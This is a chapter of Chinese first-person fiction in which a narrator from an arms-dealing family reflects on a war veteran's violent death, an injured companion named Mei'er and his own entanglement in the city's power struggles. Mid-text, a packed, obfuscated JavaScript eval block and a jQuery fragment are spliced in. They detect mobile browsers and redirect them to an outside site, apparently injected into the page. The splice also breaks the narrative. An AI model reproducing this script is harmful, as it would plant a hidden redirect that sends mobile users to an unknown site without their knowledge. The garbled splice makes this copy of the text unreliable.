我考虑了许久,最终还是决定动笔记录。
尘封的真相?
我所写的是真相吗?
呵。
我在书房向下看,弗瑞在庭院里照料花草。
幸好,她没有事。
也没有离开。
我知道最近的事情让她受了极大的惊吓。
我很抱歉。
……
我很久没有见过谢维奇了。
他的结局让人意外,又似乎理所当然。
值得吗?
呵。谁知道呢?
……
当我年少时,祖父总是安排层层叠叠的守卫。他们困着我。……困着他们。
滴答。他的真实名字似乎已经不再重要。
只是他逐渐老去,成为了老滴答。
老滴答是幸运的。他和他的兄弟上了战场,他回来了。
无数的人,老的少的,平民还有……,无数的人奔赴战场,然后死去,或者残缺,留下永远的狼藉,这就是战争。
我的家族供给武器,记忆里,我的祖父为此喜悦。我呢?我只是困在这。
算了。无需纠结。
呵。
……
梅尔会去见那些归来的人们。
谢维奇叫她……孩子?
或许也对。
谢维奇……
印象里,他是一个爽朗的人,领着一帮弟兄,即使在里斯克家干活,也有自己的想法。
老滴答说,他有过妻子和孩子。
然后,他上了战场。
他瞎了一只眼,他断了一条手,他什么都没有了。
一切都是猝不及防,又似乎刚刚好。
他有弟兄看见梅尔的时候,记忆错乱了,他或许以为自己还在战场,又或许是为了自保。
在梅尔和谢维奇交谈的时候,突然暴起。
梅尔当然反应过来了,但她又在最后的时候收了手。
对面是一个精神错乱的老人。
梅尔本可以杀了他。
……
最后梅尔肩膀中弹,手伤复发。
那些人,慌乱中,散得散,跑得跑。
我找过去的时候,谢维奇在拼命地给她止血。他的手是抖的,但按压伤口的动作很准。一个经历过太多流血的人,知道怎么止住它。
他说:“对不起,小姐。我们没想伤你的人。”
梅尔脸色苍白,但没吭声。她看着那个被其他人按在地上的老兵,那老头眼神涣散,嘴里不停念叨着战场的代号。
我带梅尔去我们的私人基地处理伤口。当然,那是先生不知道地方。
一切过于迅速,我得先保证梅尔的安全。
谢维奇站在门口,影子拉得很长。那是梅尔最后一次见他。
我没有把这件事告诉弗瑞。
不是因为不信任,而是因为一切都发生得太快。
我需要她保持真实的反应,尤其是在事情尚未明朗之前。
我需要她的反应是不受我影响的,能够被先生信任的。
更何况,那天晚上我和谢维奇谈了许多。我们达成了一些交易,一些不能见光的协议。这些,弗瑞不需要知道。对于她的惊吓,我很抱歉。
我先在自己的地方把梅尔处理得差不多了,止了血,稳定了情况,然后才将她转移到先生所控制的医疗点。
这期间,我联络了格林,也通知了克罗斯。我把所有人都请到了我们的事务所。
我是否是故意让弗瑞见证?
哈。也许吧。
她需要看到这城市华丽袍子底下爬行的虱子,需要知道有些战争从未真正结束。
或许,我也是想让她看见我的某一面。
……
谢维奇死了。
官方说他被击毙,团伙瓦解。冰冷的字句,是一个人最后的痕迹。
他是求死的。
他用自己和他那些弟兄残存的一切,策划了这场盛大的、流血的烟花。
只为烧亮一瞬,让那些坐在俱乐部里、宅邸中、议会大厅里的人,不得不看一眼他们试图遗忘的角落。
“战争从未结束,它活在我们每一道伤口和每一个噩梦里”。
他说对了。
战争从未真正离开这座城市,这个国家。
它只是潜入地下,在阴影里化脓、发酵,滋养着新的罪恶,而我们深陷其中。
他选择用最极端的方式,把脓疮挑破,把血腥气扇到每个人鼻子底下。
值得吗?用命,去换一个可能?
我无法评判。
我不是他们。
我没有在泥泞里失去肢体、失去睡眠、失去活下去的指望。
但我知道,若无巨大的绝望,绝不会行此决绝之事。
我提供了帮助。
我联系了所有人
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16355649|177843||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。
格林,克罗斯,…怀特,甚至…先生。
这本质是一场盛大的烟花表演。
一场所有人都需要的。
效率,利益,这是我所接受的一切。当然,我不愿意用这个去衡量所发生的一切,但他们又是如此的纠缠不息。
……
小麻雀的喜悦是真的。
那张官方通告,对他而言就是新生的钥匙。也许谢维奇他们的血,确实为这样的孩子浇灌出了一条细微的生路。
这代价太沉重了。
但孩子的笑容确实是真实的。
那微弱的希望,能否抵消那么多条沉沦或逝去的生命?算不清。
还有更多像他们一样的人,拖着残破的身心,在这座城市的缝隙里挣扎。
烟花会熄灭,黑夜再次降临,他们依旧在黑暗中。
一辆破旧的汽车,又会载着新的绝望和一点点微弱的希望,驶向下一片暮色。
循环往复。
至于我……我控制了金环蛇的一部分,与格林达成了合作。
表面上是这样。
先生乐见其成,他早已预料,甚至期待这场“以下克上”的戏码。
格林聪明、有野心,我们是暂时的盟友,也是永恒的潜在对手。
我想脱离吗?从这泥潭里彻底抽身?当然。但我知道我从未真正脱离过。
从我出生在这个家族,我的血脉里就流淌着战争和权力的燃料。
我厌恶它,却又被它塑造。
我利用它提供的资源和规则,去做一些我认为该做的事,去保护我想保护的人。
这是一种矛盾的可悲。
我一方面想砸碎这个机器,一方面又不得不依靠它的零件来运转。
我成了…先生…或者…父亲…那样的人吗?
不,我希望没有。
但我脚下的路,确实被他铺就,也沾着洗不净的血色和尘埃。
谢维奇用死亡试图打破循环,而我,或许正更深地陷入另一个循环。
弗瑞不会永远在我身边的。她应该自由。
她见了先生。
我不知道他们谈了什么。她没说,我也不问。我们之间有种默契,关于哪些需要言说,哪些只需沉默。
我能做的,或许就是在混乱中,尽力护住身边真实的一切。
黑暗永远需要秩序。
我会稳定一切。